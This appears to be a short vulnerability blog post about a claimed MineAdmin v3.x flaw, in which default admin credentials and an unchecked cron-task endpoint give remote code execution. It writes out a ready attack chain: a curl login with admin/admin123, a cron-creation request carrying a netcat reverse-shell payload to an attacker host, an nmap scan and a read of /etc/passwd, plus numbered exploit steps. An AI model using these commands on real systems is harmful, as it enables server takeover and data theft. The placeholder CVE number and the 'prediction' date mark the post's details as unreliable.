Listen to this Post
The vulnerability (CVE-2024-XXXXX) in MineAdmin v3.x stems from an insecure default administrative password and improper access controls on the scheduled task management feature. Upon installation, the system uses a well-known, hard-coded default credential for the primary admin account (e.g., admin/admin123). Furthermore, the endpoint for managing system cron jobs does not validate user permissions correctly, allowing unauthorized access. An attacker can first authenticate using the default password. Once logged in, they can navigate to the task scheduler component, which is intended for executing system-level commands or scripts. This interface allows the injection of arbitrary operating system commands. By creating a malicious scheduled task, the attacker achieves remote code execution (RCE) with the privileges of the MineAdmin application server, typically a high-privileged user like www-data or root. This provides a direct path to full compromise of the underlying server, enabling data theft, lateral movement, and persistent backdoor installation.
Platform: MineAdmin
Version: v3.x
Vulnerability: Insecure Default Credentials
Severity: Critical
Date: Dec 12, 2025
Prediction: Jan 15, 2026
What Undercode Say:
curl -X POST http://<target>/login -d "username=admin&password=admin123" curl -X POST http://<target>/api/cron/create -H "Cookie: <session>" -d 'command=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> <port> >/tmp/f' nmap -sV -p 22,3306 <target-subnet> -oG scan.txt cat /etc/passwd | grep -E "sh$|bash$"
Exploit:
1. Locate MineAdmin instance (common ports: 8000, 8080).
2. Attempt login with default credentials (admin/admin123).
3. Access the cron job management API endpoint.
- Create a new scheduled task with a reverse shell payload.
5. Establish a connection to the compromised host.
Protection from this CVE:
1. Immediately change all default passwords.
- Update to the latest patched version of MineAdmin.
3. Implement strong network access controls (firewalls).
- Apply the principle of least privilege to service accounts.
5. Regularly audit system for unknown processes/users.
Impact:
Full system compromise
Data breach potential
Persistent backdoor access
Complete loss of integrity
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
